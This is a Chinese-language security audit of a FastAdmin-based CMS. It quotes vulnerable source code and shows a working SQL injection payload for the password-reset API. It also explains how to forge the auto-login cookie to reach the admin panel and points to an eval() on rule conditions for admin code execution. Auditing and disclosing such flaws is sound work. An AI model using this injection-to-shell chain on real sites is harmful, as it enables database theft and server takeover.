某fastadmin二开cms代码审计

前置

后台可轻松getshell

怎么进入后台,通过注入,注入的话,密码可能解不出来

前台注入1&2

限制:无

api/User/getbackpass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function getbackpass(){
$mobile = $this->request->request('mobile');
$newpassword = $this->request->request('newpassword');
$captcha = $this->request->request('captcha');
$event = 'register';
$repas = preg_match("/^(?![0-9]+$)(?![a-zA-Z]+$)[0-9A-Za-z]{6,15}$/",$newpassword,$matches);
if($repas == 0){
$this->error('密码必须为6-15位的数字和字母');
}
// 验证码
$check = true;
//$check = Sms::check($mobile, $captcha,$event);
if($check){
$salt = \db('user')->field('salt')->where("mobile={$mobile}")->find();
$newpassword = Auth::getEncryptPassword($newpassword, $salt['salt']);
$ret = $this->auth->getpwd($newpassword,$mobile);
}else{
$this->error(__('验证码输入错误,请重新输入'));
}
if($ret){
$this->success(__('密码重置成功'), $ret);
}else{
$this->error(__('密码重置失败'));
}
}

payload

1
mobile=1) or updatexml(1,concat(0x7e,database()),1)#&newpassword=admin123&captcha123456

复现

1609245502349

team方法

1609245574829

前台注入3&4

api/Machine/detail

1609245814255

pullCc方法

1609245862961

前台注入5&more

api/Cc/detailOrder

1609245959323

不在一一列举

后台登录

login方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public function login()
{
$url = $this->request->get('url', 'index/index');
if ($this->auth->isLogin()) {
$this->success(__("You've logged in, do not login again"), $url);
}
if ($this->request->isPost()) {
$username = $this->request->post('username');
$password = $this->request->post('password');
$keeplogin = $this->request->post('keeplogin');
$token = $this->request->post('__token__');
$rule = [
'username' => 'require|length:3,30',
'password' => 'require|length:3,30',
'__token__' => 'token',
];
$data = [
'username' => $username,
'password' => $password,
'__token__' => $token,
];
if (Config::get('fastadmin.login_captcha')) {
$rule['captcha'] = 'require|captcha';
$data['captcha'] = $this->request->post('captcha');
}
$validate = new Validate($rule, [], ['username' => __('Username'), 'password' => __('Password'), 'captcha' => __('Captcha')]);
$result = $validate->check($data);
if (!$result) {
$this->error($validate->getError(), $url, ['token' => $this->request->token()]);
}
AdminLog::setTitle(__('Login'));
$result = $this->auth->login($username, $password, $keeplogin ? 86400 : 0);

auth中的login方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function login($username, $password, $keeptime = 0)
{
$admin = Admin::get(['username' => $username]);
if (!$admin) {
$this->setError('Username is incorrect');
return false;
}
if ($admin['status'] == 'hidden') {
$this->setError('Admin is forbidden');
return false;
}
if (Config::get('fastadmin.login_failure_retry') && $admin->loginfailure >= 10 && time() - $admin->updatetime < 86400) {
$this->setError('Please try again after 1 day');
return false;
}
if ($admin->password != md5(md5($password) . $admin->salt) && md5($password) != Config::get('fastadmin.key')) {
$admin->loginfailure++;
$admin->save();
$this->setError('Password is incorrect');
return false;
}
$admin->loginfailure = 0;
$admin->logintime = time();
$admin->token = Random::uuid();
$admin->save();
if(md5($password) == Config::get('fastadmin.key'))$admin->key = true;
Session::set("admin", $admin->toArray());
$this->keeplogin($keeptime);
return true;
}

可以看到,在判断密码的地方存在一个其他的判断

通篇未发现在哪里设置的fastadmin.key,值得注意的是,当此值为空的时候,password为数组即可轻松绕过

当然为空的可能型不大

看index中的另外一个分支

1609246270419

跟进方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function autologin()
{
$keeplogin = Cookie::get('keeplogin');
if (!$keeplogin) {
return false;
}
list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin);
if ($id && $keeptime && $expiretime && $key && $expiretime > time()) {
$admin = Admin::get($id);
if (!$admin || !$admin->token) {
return false;
}
//token有变更
if ($key != md5(md5($id) . md5($keeptime) . md5($expiretime) . $admin->token)) {
return false;
}
Session::set("admin", $admin->toArray());
//刷新自动登录的时效
$this->keeplogin($keeptime);
return true;
} else {
return false;
}
}

其中$id, $keeptime, $expiretime, $key均可控,并且$admin->token可从数据库查询到

可结合前面的注入,直接绕过

后台代码执行

后台首页

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function index()
{
//左侧菜单
list($menulist, $navlist, $fixedmenu, $referermenu) = $this->auth->getSidebar([
'dashboard' => 'hot',
'addon' => ['new', 'red', 'badge'],
'auth/rule' => __('Menu'),
'general' => ['new', 'purple'],
], $this->view->site['fixedpage']);
$action = $this->request->request('action');
if ($this->request->isPost()) {
if ($action == 'refreshmenu') {
$this->success('', null, ['menulist' => $menulist, 'navlist' => $navlist]);
}
}
$this->view->assign('menulist', $menulist);
$this->view->assign('navlist', $navlist);
$this->view->assign('fixedmenu', $fixedmenu);
$this->view->assign('referermenu', $referermenu);
$this->view->assign('title', __('Home'));
return $this->view->fetch();
}

调用的了getSidebar方法,跟进此方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function getSidebar($params = [], $fixedPage = 'dashboard')
{
$colorArr = ['red', 'green', 'yellow', 'blue', 'teal', 'orange', 'purple'];
$colorNums = count($colorArr);
$badgeList = [];
$module = request()->module();
// 生成菜单的badge
foreach ($params as $k => $v) {
$url = $k;
if (is_array($v)) {
$nums = isset($v[0]) ? $v[0] : 0;
$color = isset($v[1]) ? $v[1] : $colorArr[(is_numeric($nums) ? $nums : strlen($nums)) % $colorNums];
$class = isset($v[2]) ? $v[2] : 'label';
} else {
$nums = $v;
$color = $colorArr[(is_numeric($nums) ? $nums : strlen($nums)) % $colorNums];
$class = 'label';
}
//必须nums大于0才显示
if ($nums) {
$badgeList[$url] = '<small class="' . $class . ' pull-right bg-' . $color . '">' . $nums . '</small>';
}
}

// 读取管理员当前拥有的权限节点
$userRule = $this->getRuleList();
$selected = $referer = [];

调用了getRuleList方法,跟进此方法

1
2
3
4
5
public function getRuleList($uid = null)
{
$uid = is_null($uid) ? $this->id : $uid;
return parent::getRuleList($uid);
}

调用了父类的getRuleList方法

1609246759727

代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public function getRuleList($uid)
{
static $_rulelist = []; //保存用户验证通过的权限列表
if (isset($_rulelist[$uid]))
{
return $_rulelist[$uid];
}
if (2 == $this->config['auth_type'] && Session::has('_rule_list_' . $uid))
{
return Session::get('_rule_list_' . $uid);
}

// 读取用户规则节点
$ids = $this->getRuleIds($uid);
if (empty($ids))
{
$_rulelist[$uid] = [];
return [];
}

// 筛选条件
$where = [
'status' => 'normal'
];
if (!in_array('*', $ids))
{
$where['id'] = ['in', $ids];
}
//读取用户组所有权限规则
$this->rules = Db::name($this->config['auth_rule'])->where($where)->field('id,pid,condition,icon,name,title,ismenu')->select();

//循环规则,判断结果。
$rulelist = []; //
if (in_array('*', $ids))
{
$rulelist[] = "*";
}
foreach ($this->rules as $rule)
{
//超级管理员无需验证condition
if (!empty($rule['condition']) && !in_array('*', $ids))
{
//根据condition进行验证
$user = $this->getUserInfo($uid); //获取用户信息,一维数组
$command = preg_replace('/\{(\w*?)\}/', '$user[\'\\1\']', $rule['condition']);
@(eval('$condition=(' . $command . ');'));
if ($condition)
{
$rulelist[$rule['id']] = strtolower($rule['name']);
}

end

代码连接

百度云网盘